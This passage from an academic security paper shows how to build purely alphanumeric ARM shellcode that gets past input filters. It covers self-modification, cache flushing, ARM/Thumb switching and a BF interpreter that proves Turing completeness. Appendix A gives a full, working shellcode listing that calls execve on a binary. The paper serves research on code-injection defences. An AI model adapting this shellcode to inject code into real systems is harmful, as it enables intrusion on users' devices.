Another option is to execute a system call that flushes the cache. This can be done using the `SWI` instruction, given the correct operand. The first byte of a `SWI` instruction encodes the condition code and the opcode of the instruction. The other three bytes encode the number of the system call that needs to be executed. Fortunately, the first byte can be made alphanumeric by choosing the `MI` condition code for the `SWI` instruction.

On ARM/Linux, the system call for a cache flush is 0x9F0002. None of these bytes are alphanumeric and since they are issued as part of an instruction this could mean that they cannot be rewritten with self-modifying code. However, `SWI` generates a software interrupt and to the interrupt handler 0x9F0002 is actually data. As a result, it will not be read via the instruction cache, so any modifications made to it prior to the `SWI` call will be reflected correctly, since these modifications will have been done via the data cache (any write or read to/from memory goes via the data cache, only instruction execution goes via the instruction cache).

In non-alphanumeric code, the instruction cache would be flushed with this sequence of operations:

```
MOV   r0 , #0
MOV   r1 , #-1
MOV   r2 , #0
SWI   0x9F0002
```

Since these instructions generate a number of non-alphanumeric characters, the previously mentioned code techniques will have to be applied to make this alphanumeric (i.e., writing to `r0` to `r2` via `LDM` and `STM` and rewriting the argument to `SWI` via self-modifying code). Given that the `SWI` instruction's argument is seen as data, overwriting the argument can be done via self-modification. If we also

overwrite all the branches in the program prior to performing the SWI, then all self-modified code will now be seen correctly by the processor and our program can continue.

3.2.8 Thumb mode

Although the Thumb instruction set is not used in order to prove that alphanumeric ARM code is Turing complete, it might nevertheless be interesting to know that it is possible to switch between the two modes in an alphanumeric way.

Entering Thumb mode Changing the processor state from ARM mode to Thumb mode is done by calling the *branch and exchange* instruction BX. ARM instructions are always exactly four bytes and Thumb instructions are exactly two bytes. Hence, all instructions are aligned on either a two or four byte alignment. Consequently, the least-significant bit of a code address will never be set in either mode. It is this bit that is used to indicate to which mode the processor must switch.

If the least significant bit of a code address is set, the processor will switch to Thumb mode, clear the bit and jump to the resulting address. If the bit is not set, the processor will switch to ARM mode. Below is an example that switches the processor from ARM to Thumb state.

```
SUBPL   r6, pc, #-1
BX      r6
<Thumb instructions>
```

In ARM mode, pc points to the address of the current instruction plus 8. The BX instruction is not alphanumeric, so it must be overwritten in order to execute the correct instruction. The techniques presented in Sect. 3.2.7 can be used to accomplish this.

Exiting Thumb mode If the program that is being exploited is running in Thumb mode when the vulnerability is triggered, the attacker can either choose to continue with shellcode that uses Thumb instructions, or he can switch to ARM mode. The SWI instruction is not alphanumeric in Thumb mode, making self-modifying code impossible with only Thumb instructions. The alternative is to switch to ARM mode, where system calls *can* be performed.

```
BX      pc
ADD     r7, #50
<ARM instructions>
```

Unlike ARM mode, the BX instruction *is* alphanumeric in Thumb mode. pc points to the address of the current instruction, plus 4. Since Thumb instructions are 2 bytes long, we must add a dummy instruction after the BX instruction. Also note that a dummy instruction before BX might be necessary in order to correct the Thumb alignment to ARM alignment.

4 Proving Turing-completeness

In this section we argue that with our alphanumeric ARM shellcode we are able to perform all useful computations. We are going to show that the shellcode is *Turing complete*. Our argument runs as follows: we take a known Turing-complete programming language and build an interpreter for this language in alphanumeric shellcode.

The language of choice is BrainF*ck (BF) [26], which has been proven to be Turing complete [24]. BF is a very simple language that mimics the behavior of a Turing machine. It assumes that it has access to unlimited memory, and that the memory is initialized to zero at program start. It also has a pointer into this memory, which we call the memory pointer. The language supports eight different operations, each symbolized by a single character. Table 3 describes the meaning of each character that is part of the BF alphabet and gives the equivalent meaning in C (assuming that p is the memory pointer of type char*).

We implemented a mapping of BF to alphanumeric shellcode as an interpreter written in alphanumeric ARM shellcode. The interpreter takes as input any BF program and simulates the behavior of this program. The details of the interpreter are discussed below.

Several issues had to be addressed in our implementation.

- Because we wanted the BF program that must be executed to be part of the interpreter shellcode, we remapped all BF operations to alphanumeric characters: >...] are mapped to the characters J ... C, respectively.
- We extended the BF language (since this is a superset of BF, it is still Turing complete), with a character to do program termination. We use the character "B" for this purpose. While this is not necessary to show Turing completeness, having a termination character simplifies our implementation.
- As with BF we assume that we have unlimited memory, our implementation provides for an initial memory area of 1024 bytes but this can be increased as needed.
- The memory required by our interpreter to run the BF program is initialized to 0 at startup of the interpreter.

4.1 Initialization

To support the BF language, we use three areas of memory: one which contains the code of the BF program (we will refer to this as the *BF-code* area) that we are executing, a second which serves as the memory of the program (the *BF-memory* area), and a third which we use as a stack to support nested

Table 3 The BF language

BF	Meaning	C equivalent
>	Increases the memory pointer to point to the next memory location.	p++;
<	Decreases the memory pointer to point to the previous memory location.	p−−;
+	Increases the value of the memory location that the memory pointer is pointing to by one.	(*p)++;
−	Decreases the value of the memory location that the memory pointer is pointing to by one.	(*p)--;
.	Write the memory location that the memory pointer is pointing to stdout.	write(1, p, 1);
,	Read from stdin and store the value in the memory location that the pointer is pointing to.	read(0, p, 1);
[	Starts a loop if the memory pointed to by the memory pointer is not 0. If it is 0, execution continues after the matching] (the loop operator allows for nested loops).	while (*p) {
]	Continue the loop if the memory pointed to by the memory pointer is not 0, if it is 0, execution continues after the].	if (!*p) break; }

loops (the *loop-memory* area). Memory for these areas is assumed to be part of the shellcode and each area is assumed to be 1024 bytes large.

We store pointers to each of these memory areas in registers `r10`, `r9` and `r11`, respectively. These pointers are calculated by subtracting from the `pc` register. Once these registers are initialized, the contents of `BF`-memory is initialized to 0. Since it's part of our shellcode, the `BF`-memory contains only alphanumeric characters by default. The memory is cleared by looping (using a conditional branch) over the value of `r9` and setting each memory location to 0 until it reaches the end of the buffer. The memory size can be increased by adding more bytes to the `BF`-memory region in the shellcode, and by making minor modifications to the initialization of the registers `r9` to `r11`.

4.2 Parsing

Parsing the `BF` program is done by taking the current character and executing the expected behavior. To simplify the transition of the control flow from the code that is interpreting each `BF` code character to the actual implementation of the function, we use a jump table. The implementation of every `BF` operation is assumed to start 256 bytes from the other. By subtracting 'A' from the character we are interpreting and then subtracting that number multiplied by 256 from the program counter, we generate the address that contains the start of the implementation of that operation. To be able to end the program correctly we need the program termination character that was added to the `BF` language earlier ("B"). Because the implementation of a `BF` operation must be exactly 256 bytes, the actual implementation code is padded with dummy instructions.

4.3 BF operations

The first four `BF` operations: ">","<","+" and "−" (or "J", "I", "H", "G") are easily implemented using the code discussed in Sect. 3.2. The instructions for "." and "," ("F" and "E") are system calls to respectively read and write. As was discussed in Sect. 3.2.7, we need to rewrite the argument of the `SWI` instruction to correspond with the arguments for read and write (`0x00900004` and `0x00900003`), which can not be represented alphanumerically.

Loops in `BF` work in the following way: everything between "[" and "]" is executed repeatedly until the contents of the memory that the memory pointer is pointing to is equal to 0 when reaching either character. This scheme allows for nested loops. To implement these nested loops, we store the current pointer to the `BF`-code memory (contained in register `r10`) in the loop-memory area. Register `r11` acts as a stack pointer into this area. When a new loop is started, `r11` will point to the top of the stack. When we reach "]", we compare the memory pointed to by the memory pointer to 0. If the loop continues, a recursive function call is made to the interpreted function. If the result was in fact 0, then the loop has ended and we can remove the top value of the loop-memory by modifying the `r11` register.

4.4 Branches and system calls

As discussed in Sect. 3.2.6, we can not use branches directly: the argument for the branch instruction is a 24 bit offset from PC. Instead of overwriting the argument, however, we chose to instead calculate the address we would need to jump to and store the result in a register. We then insert a dummy instruction that will later be overwritten with the `BX`

<register> instruction. Each possible branch instruction is fixed up in this way: at the end of a BF operation when we must jump to the end of the function, for the branches used to implement the loop instructions, …

As discussed in Sect. 3.2.7, the arguments to system calls also need to be overwritten. This is also done by our self-modifying code.

All this self-modification is done right after the shellcode has started executing. Once we have overwritten all necessary memory locations, a cache flush is performed, which ensures that the new instructions will be read correctly when the processor reaches them.

4.5 Prototype evaluation

The full implementation of the BF interpreter required 991 alphanumeric instructions, resulting in a code size of 3964 bytes. This excludes the BF-memory area that holds the runtime state of the interpreted program and the loop-memory area that supports nested loop. The size of these memory regions depends on the program that is being interpreted and can be kept very small for simple applications.

The prototype does not allow access to system calls, as this is not required to prove Turing completeness. In the context of shellcode, however, access to system calls is necessary. The interpreter could be extended with a tenth command that executes a system call, but the precise semantics of such a command are unclear. In any case, such an addition is out of the scope of this article.

5 Related work

Building regular shellcode for ARM exists for both Linux [19] and Windows [20]. To facilitate NULL-byte avoidance, self-modification is also discussed in [19]. However, because only the arguments to SWI are modified, no cache flush is needed in this case, simplifying the shellcode considerably.

Alphanumeric shellcode exists for Intel architectures [33]. Due to the variable length instructions used on this architecture, it is easier to achieve alphanumeric shellcode because many more instructions can be used compared to ARM architectures (jumps, for instance, are no problem), and the code is also not cached. Eller [16] discusses an encoder that will encode instructions as ASCII characters, that when executed on an Intel processor will decode the original instructions and execute them.

In Shacham [36] and Buchanan [11], the authors describe how to use the instructions provided by libc on both Intel and RISC architectures to perform return-into-libc attacks that are also Turing complete. By returning to a memory location which performs the desired instruction and subsequently executes a return, attackers can string together a number of return-into-libc attacks which can execute arbitrary code. The addresses returned to in that approach, however, may not be alphanumeric, which can result in problems when confronted with filters that prevent the use of any type of value.

6 Conclusion

In this paper we discussed how an attacker can use purely alphanumeric characters to insert shellcode into the memory space of an application running on a RISC processor. Given the fact that all instructions on a 32-bit RISC architecture are 4 bytes large, this turns out to be a non-trivial task: only 0.34% of the 32 bit words consist of 4 alphanumeric characters. However, we show that even with these severe constraints, it is possible to build an interpreter for a Turing complete language, showing that this alphanumeric shellcode is Turing complete. While the fact that the alphanumeric shellcode is Turing complete means that any program written in another Turing complete language can be represented in alphanumeric shellcode, an attacker may opt to simplify the task of writing alphanumeric shellcode in ARM by building a stager in alphanumeric shellcode that decodes the real payload, which can then be written non-alphanumerically.

In Appendix A, we present real-world alphanumeric ARM shellcode that executes a pre-existing executable, demonstrating the practical applicability of the shellcode.

Using alphanumeric shellcode, an attacker can bypass filters that filter out non-alphanumeric characters, while still being able to inject code that can perform arbitrary operations. It may also help an attacker in evading intrusion detection systems that try to detect the existence of shellcode in input coming from the network.

Appendix A: example shellcode

In this example, the shellcode starts up, switches to thumb mode and executes the application "/execme". Some of the techniques presented here are: getting a known value into a register, modifying our own shellcode, flushing the instruction cache, and switching from ARM to Thumb.

```
# start our shellcode with some nops
SUBPL    r3, r1, #56
SUBPL    r3, r1, #56
# do not change these instructions
  we will use them to load
# a value into our register
SUBPL    r3, r1, #56
SUBPL    r3, r1, #56
# continue nops
SUBPL    r3, r1, #56
SUBPL    r3, r1, #56
SUBPL    r3, r1, #56
SUBPL    r3, r1, #56
SUBPL    r3, r1, #56
```

```
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56
SUBPL     r3, r1, #56

# we cannot load directly from PC so
  we must get PC into r3
# we do this by subtracting 48 from PC
SUBMI     r3, pc, #48
SUBPL     r3, pc, #48

# load 56 into r3
LDRPLB    r3, [r3, #-48]
LDRMIB    r3, [r3, #-48]

# Set r5 to -1
# update the flags: result is negative
  so we know we need MI from now on
SUBMIS    r5, r3, #57
SUBPLS    r5, r3, #57

# r7 to stackpointer
SUBMI     r7, SP, #48
# Set r3 to 0
# set positive flag
SUBMIS    r3, r3, #56
# set r4 to 0
SUBPL     r4, r3, r3, ROR #2
# Set r6 to 0
SUBPL     r6, r4, r4, ROR #2

# store registers to stack
STMPLFD   r7, {r0, r4, r5, r6, r8, lr}^

# r5 to -121
SUBPL     r5, r4, #121

# copy PC to r6
SUBPL     r6, PC, r5, ROR #2

SUBPL     r6, r6, r5, ROR #2
SUBPL     r6, r6, r5, ROR #2
SUBPL     r6, r6, r5, ROR #2
SUBPL     r6, r6, r5, ROR #2
SUBPL     r6, r6, r5, ROR #2
SUBPL     r6, r6, r5, ROR #2

# write 0 to SWI 0x414141
# becomes: SWI 0x410041
# OFFSET USED HERE; IF CODE CHANGES,
  CHANGE OFFSET
STRPLB    r3, [r6, #-100]

# put 56 back into r3; we are positive
  after this
EORPLS    r3, r3, #56

SUBPL     r7, r3, #57

# write 9F to SWI 0x410041
# becomes SWI 0x9F0041
# we are negative after this
EORPLS    r5, r7, #80
# negative
EORMIS    r5, r5, #48
# OFFSET USED HERE; IF CODE CHANGES,
  CHANGE OFFSET
STRMIB    r5, [r6, #-99]

# write 2 to SWI 0x9F0041
# becomes SWI 0x9F0002
SUBMI r5, r3, #54
STRMIB    r5, [r6, #-101]

# write 0x16 to 0x41303030
# becomes 0x41303016
# positive
EORMIS    r5, r3, #66
EORPLS    r5, r5, #108
# OFFSET USED HERE; IF CODE CHANGES,
  CHANGE OFFSET
STRPLB    r5, [r6, #-89]

# write 2F to 0x41303016
# becomes 0x412F3016
EORPLS    r5, r3, #86
EORPLS    r5, r5, #65
# OFFSET USED HERE; IF CODE CHANGES,
  CHANGE OFFSET
STRPLB    r5, [r6, #-87]
# write FF to 0x412FFF16
# becomes 0x412FFF16 (BXPL r6)
# OFFSET USED HERE; IF CODE CHANGES,
  CHANGE OFFSET
STRPLB    r7, [r6, #-88]

# r7 = -1
# set r3 to  -121
SUBPL     r3, r7, #120
SUBPL     r6, r6, r3, ROR #2

# write DF for swi to 0x3030
# becomes 0xDF30 (SWI 48)
# becomes negative
EORPLS    r5, r7, #97
EORMIS    r5, r5, #65
# OFFSET USED HERE; IF CODE CHANGES,
  CHANGE OFFSET
STRMIB    r5, [r6, #-73]

# Set positive flag
EORMIS    r7, r4, #56
```

```
# load arguments for SWI
# r0 = 0, r1 = -1, r2 = 0
SUBPL    r5, SP, #48
# We use LDMPLFA, because it is one of the
  few instructions
# we can use to write to the registers
  R0 to R2.
# Other instructions generate
  non-alphanumeric characters
LDMPLFA  r5!, {r0, r1, r2, r6, r8, lr}

# Set r7 to -1
# Negative after this
SUBPLS   r7, r7, #57

# This will become:
# SWIMI 0x9f0002
SWIMI    0x414141

# Set positive flag again
EORMIS   r5, r4, #56
# set thumb mode
SUBPL    r6, pc, r7, ROR #2

# this should be BXPL r6
# but in hex that is
# 0x51 0x2f 0xff 0x16, so we
# overwrite the 0x30 above
.byte    0x30,0x30,0x30,0x51

.THUMB
.ALIGN 2
# We assume r2 is 0 before entering
  Thumb mode

# copy pc to r0
mov      r0, pc

# OFFSET USED HERE; IF CODE CHANGES,
  CHANGE OFFSET
# misalign r0 to address of 1execme2 - 47
# we will write to r0+47 and r0+54
# (beginning of the string)
add      r0, #100
sub      r0, #105

# set r1 to 0
mul      r1, r2
# set r1 tp 47
add      r1, #97
sub      r1, #50
# store r1 (/) at r0+47
# string becomes /execme2
strb     r1, [r0, r1]

# set r1 to 0
mul      r1, r2
# set r1 to 54
add      r1, #54
# store 0 at r0+54
# string becomes /execme\0
strb     r2, [r0, r1]

# set r1 to 0
mul      r1, r2
# set r1 to -1
add      r1, #48
sub      r1, #49
# set r7 to 1
neg      r7, r1

# set r1 to 0
mul      r1, r2
# set r1 to 11 (0xb),
# the exec system call code
add      r1, #65
sub      r1, #54
# our systemcall code must be in r7
# r7 = 1, r1 contains the code
mul      r7, r1

# set r1 to 0 (first parameter of execve)
mul      r1, r2

# set r0 to beginning of the string
add      r0, #97
sub      r0, #50

# This wil become: swi  48
.byte    0x30,0x30
# This is a nop used for
# alignment
add      r7, #50
# our command
.ascii "1execme2"
# nops used for alignment
add      r7, #50
add      r7, #50
```

References

1. Abadi, M., Budiu, M., Erlingsson, Ú., Ligatti, J.: Control-flow integrity. In: 12th ACM Conference on Computer and Communications Security (2005)
2. Aleph1.: Smashing the stack for fun and profit. Phrack, 49, (1996)
3. Anisimov, A.: Defeating Microsoft Windows XP SP2 heap protection and DEP bypass. Positive Technologies, Tech Report. http://www.ptsecurity.com/download/defeating-xpsp2-heapprotection.pdf
4. Anonymous.: Once upon a free(). Phrack, 57, (2001)
5. Barrantes, E.G., Ackley, D.H., Forrest, S., Palmer, T.S., Stefanović, D., Zovi, D.D.: Randomized instruction set emulation to disrupt binary code injection attacks. In: 10th ACM Conference on Computer and Communications Security (2003)
6. Bello Rivas, J.: Overwriting the .dtors section (2000)
7. Bhatkar, S., Duvarney, D.C., Sekar, R.: Address obfuscation: An efficient approach to combat a broad range of memory error exploits. In: 12th USENIX Security Symposium (2003)
8. Bhatkar, S., Sekar, R.: Data space randomization. In: 5th Conference on Detection of Intrusions and Malware & Vulnerability Assessment. Lecture Notes in Computer Science, vol. 5137 (2008)
9. Bhatkar, S., Sekar, R., Duvarney, D.C.: Efficient techniques for comprehensive protection from memory error exploits. In: 14th USENIX Security Symposium (2005)

10. Blexim. Basic integer overflows. Phrack, 60 (2002)
11. Buchanan, E., Roemer, R., Shacham, H., Savage, S.: When good instructions go bad: generalizing return-oriented programming to RISC. In: 15th ACM Conference on Computer and Communications Security (2008)
12. Bulba and Kil3r.: Bypassing StackGuard and Stackshield. Phrack, 56, (2000)
13. Cowan, C., Beattie, S., Johansen, J., Wagle, P.: PointGuard: protecting pointers from buffer overflow vulnerabilities. In: 12th USENIX Security Symposium (2003)
14. Cowan, C., Pu, C., Maier, D., Hinton, H., Walpole, J., Bakke, P., Beattie, S., Grier, A., Wagle, P., Zhang, Q.: StackGuard: automatic adaptive detection and prevention of buffer-overflow attacks. In: 7th USENIX Security Symposium (1998)
15. Dobrovitski, I.: Exploit for CVS double free() for Linux pserver (2003)
16. Eller, R.: Bypassing msb data filters for buffer overflow exploits on intel platforms (2000)
17. Erlingsson, Ú.: Low-level software security: attacks and defenses. Technical Report MSR-TR-2007-153, Microsoft Research (2007)
18. Etoh, H., Yoda, K.: Protecting from stack-smashing attacks. Technical report, IBM Research (2000)
19. funkysh. Into my ARMs: Developing StrongARM/Linux shellcode. Phrack, 58 (2001)
20. Hurman, T.: Exploring Windows CE shellcode (2005)
21. Jones, R.W.M., Kelly, P.H.J.: Backwards-compatible bounds checking for arrays and pointers in C programs. In: 3rd International Workshop on Automatic Debugging (1997)
22. Kc, G.S., Keromytis, A.D., Prevelakis, V.: Countering code-injection attacks with instruction-set randomization. In: 10th ACM Conference on Computer and Communications Security (2003)
23. Kiriansky, V., Bruening, D., Amarasinghe, S.: Secure execution via program shepherding. In: 11th USENIX Security Symposium (2002)
24. Köhler, S., Schindelhauer, C., Ziegler, M.: On approximating real-world halting problems. In: 15th International Symposium on Fundamentals of Computation Theory. Lecture Notes in Computer Science, vol. 3623 (2005)
25. Moore, H.D.: Cracking the iPhone. http://blog.metasploit.com/2007/10/cracking-iphone-part-1.html
26. Müller, U.: Brainf*ck (1993)
27. Ormandy, T.: LibTIFF next rle decoder remote heap buffer overflow vulnerability (2006)
28. Ormandy, T.: LibTIFF TiffFetchShortPair remote buffer overflow vulnerability (2006)
29. Ortega, A.: Android web browser gif file heap-based buffer overflow vulnerability (2008)
30. Provos, N.: Improving host security with system call policies. In: 12th USENIX Security Symposium (2003)
31. Ratanaworabhan, P., Livshits, B., Zorn, B.: Nozzle: a defense against heap-spraying code injection attacks. Technical Report MSR-TR-2008-176, Microsoft Research (2008)
32. Richarte, G.: Four different tricks to bypass stackshield and stackguard protection (2002)
33. rix. Writing IA32 alphanumeric shellcodes. Phrack, 57 (2001)
34. Ruwase, O., Lam, M.S.: A practical dynamic buffer overflow detector. In: 11th Annual Network and Distributed System Security Symposium (2004)
35. Scut. Exploiting format string vulnerabilities (2001)
36. Shacham, H.: The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). In: 14th ACM conference on Computer and Communications Security (2007)
37. Shacham, H., Page, M., Pfaff, B., Goh, E.J., Modadugu, N., Boneh, D.: On the effectiveness of address-space randomization. In: 11th ACM conference on Computer and Communications Security (2004)
38. skape, Skywing.: Bypassing windows hardware-enforced data execution prevention. Uninformed, **2** (2005)
39. Sloss, A., Symes, D., Wright, C.: ARM System Developer's Guide. Elsevier, Amsterdam (2004)
40. Solar Designer.: Getting around non-executable stack (and fix) (1997)
41. Sotirov, A.: Reverse engineering and the ANI vulnerability (2007)
42. Sotirov, A., Dowd, M.: Bypassing browser memory protections: setting back browser security by 10 years. In: BlackHat (2008)
43. Sovarel, N., Evans, D., Paul, N.: Where's the FEEB? the effectiveness of instruction set randomization. In: 14th USENIX Security Symposium (2005)
44. Stokes, J.: ARM attacks Atom with 2GHz A9; can servers be far behind? Ars Technica. http://arstechnica.com/business/news/2009/09/arm-attacks-atom-with-2ghz-a9-can-servers-be-far-behind.ars
45. Strackx, R., Younan, Y., Philippaerts, P., Piessens, F., Lachmund, S., Walter, T.: Breaking the memory secrecy assumption. In: European Workshop on System Security (2009)
46. Wojtczuk, R.: Defeating Solar Designer non-executable stack patch (1998)
47. Younan, Y., Joosen, W., Piessens, F.: Code injection in C and C++: a survey of vulnerabilities and countermeasures. Technical Report CW386, Dept. Computerwetenschappen, KULeuven (2004)
48. Younan, Y., Philippaerts, P., Cavallaro, L., Sekar, R., Piessens, F., Joosen, W.: PAriCheck: an efficient pointer arithmetic checker for C programs. Technical Report CW554, Dept. Computerwetenschappen, KULeuven (2009)
49. Younan, Y., Philippaerts, P., Piessens, F., Joosen, W., Lachmund, S., Walter, T.: Filter-resistant code injection on ARM. In: Proceedings of the 16th ACM conference on Computer and communications security, pages 11–20. ACM (2009)